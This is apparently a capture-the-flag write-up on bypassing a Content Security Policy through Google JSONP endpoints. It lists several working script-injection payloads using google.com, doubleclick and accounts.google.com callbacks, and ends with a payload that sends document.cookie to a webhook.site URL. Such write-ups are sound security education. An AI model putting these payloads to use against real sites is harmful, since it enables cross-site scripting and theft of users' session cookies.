CSP bypass with JSONP

Method 1 - JSONP endpoints

Last week while doing a CTF challenge, I faced a unique challenge where I had to bypass CSP by logging into my user account and leak admin's cookie.

The website was a simple note taking website but was accepting unsanitized inputs. I checked the presence of any HTML tag injection by simply bolding out a text.

As we could see, the field was accecpting HTML. It was confirmed by checking the source code:

Next, we could simply try adding a javascript payload <script>alert(1337)</script>

We could see the page didn't pop anything up. But it also didn't display our text on the site. This means two things: One, the input is not sanitized,i.e,no HTML encoding is done on input to treat them as text only otherwise the text (<script>alert(1337)</script>) would have come on the screen. And two, a content security policy is in place which is preventing JS execution.

We go on straight to explore the CSP. This would be in developer tools->networking tab (refresh) -> Choose the HTTP request to site and see something like this:

Since I had no experience with CSP, I found a website (https://csp-evaluator.withgoogle.com/) which would explain the policy to me.

Okay then. So, the policy has whitelisted *.google.com to run JS on it. And as we can see in the screenshot, *.google.com is known to host JSONP endpoints which allow to bypass this CSP. Let's find this JSONP endpoint?

#Google.com:
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="https://googleads.g.doubleclick.net/pagead/conversion/1036918760/wcm?callback=alert(1337)"></script>
"><script src="https://www.googleadservices.com/pagead/conversion/1070110417/wcm?callback=alert(1337)"></script>
"><script src="https://cse.google.com/api/007627024705277327428/cse/r3vs7b0fcli/queries/js?callback=alert(1337)"></script>
"><script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1337)"></script>

Easy, right? Just a google search gave me this repo: https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt that had all of these google endpoints.

But first, a brief about JSONP endpoints. I'll explain it as I understood it and if it still isn't fancy enough, read the ChatGPT version quoted below.

So during old times of the web, browsers strictly enforced same origin policy meaning that Javascript on a particular web page CAN ONLY run on the other web page if they are of the same origin. Same origin=same protocol,same host,same port.

so if http://xyz.com/index.html wants to include JS from https://xyz.com/another.html or http://abc.com it can't!

So, let's say you have a website that wants to fetch data from weather.com to display nicec weather quirks and process some data, what would you do?

In comes the JSONP. It is a technique developers use to bypass SOP and allow usage of JavaScript. A website would host some JSON endpoint, which you can send an HTTP request to and it will return some JSON data. This data you can then process with a javascript function that your site has. This javascript function will be specified with "callback" paramter. Let me show you a demo after the quote.

JSONP (JSON with Padding) is a technique used in web development to overcome the same-origin policy limitations of web browsers, which normally prevent web pages from making requests to domains different from the one that served the web page. JSONP endpoints are server-side endpoints that respond to requests with JSONP-formatted data.

Here's how JSONP works:

  1. Client-Side Request: A web page on one domain (the "origin") wants to make a request to a server on a different domain. Due to the same-origin policy, this is normally not allowed for security reasons.

  2. Dynamic Script Tag: Instead of making a standard XMLHttpRequest or fetch request, the web page creates a new script element in the DOM with a src attribute pointing to the remote server's endpoint. The URL for the script tag usually includes a query parameter that specifies a callback function to be executed when the response is received.

  3. Server Response: The server on the different domain processes the request and returns JSON data wrapped in a JavaScript function call. The server uses the callback function name specified in the query parameter from the request URL.

  4. Callback Execution: The browser executes the callback function in the context of the web page, passing the JSON data as an argument. This allows the web page to access and use the data.

JSONP allows cross-domain data retrieval but comes with significant security risks, including the potential for Cross-Site Scripting (XSS) attacks. Here's why JSONP can be vulnerable to XSS:

  1. Execution of Untrusted Code: JSONP relies on executing code (the callback function) from an external source (the remote server). If an attacker can control the response from the remote server, they can inject malicious JavaScript code into the response.

  2. Lack of Data Sanitization: JSONP does not perform data sanitization or validation on the data returned from the remote server. If the data is not properly sanitized and trusted, it can lead to the execution of malicious code on the client-side, leading to XSS attacks.

  3. No Same-Origin Policy Checks: JSONP bypasses the same-origin policy, which is a fundamental security feature in web browsers. This allows an attacker to make requests to a different domain from the web page and potentially steal sensitive information or perform actions on behalf of the user.

Let me quickly host a function called "derive_exchange_rates()" in my javascript file on my localhost which extracts something from accounts.google.com JSONP endpoint. Then I host it. Finally, I demonstrate a simple HTTP request to use this javascript function to fetch data from this JSONP endpoint.

This javascript function can be anything. Even a simple alert box and the javascript would execute! Cool. So it depends on the callback function. Let's use curl and call one of these endpoints.

The function will return some random data. The point to note here is that the endpoint is evaluating the function "alert()" which is not a valid function to use the JSON data being received from the endpoint that's why we are seeing this error message.

We can also use developer tools to see which javascript would execute and which would not given the data on the JSON endpoint and the function we are using like this:

Developer tools has some interesting quirks like $.post method to submit cookie with your request. We can also declare variables that site takes and post notes here too :)

Anyway, I digress. So, now we have a mechanism to test our JS callback function. So, now let's input this JSONP endpoint script in the note content and see if script runs

Now, this challenge was a part of CTF to steal admin's cookies. The site had a mechanism in the backend which was making server access the note submitted by the user. I basically edited the payload I used here:

<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1337)"></script>

to this:

<script src="https://accounts.google.com/o/oauth2/revoke?callback=window.location.replace('webhook.site/sjfgs')"></script>

webhook.site gives a temporary publically accessible URL. After reporting this note, server would reach my site. But to get final flag, I used the concat function

<script src="https://accounts.google.com/o/oauth2/revoke?callback=window.location.replace('webhook.site/sjfgs/?flag='.concat(document.cookie))"></script>

This was an interesting encounter in CSP bypass that I wanted to share.

Last updated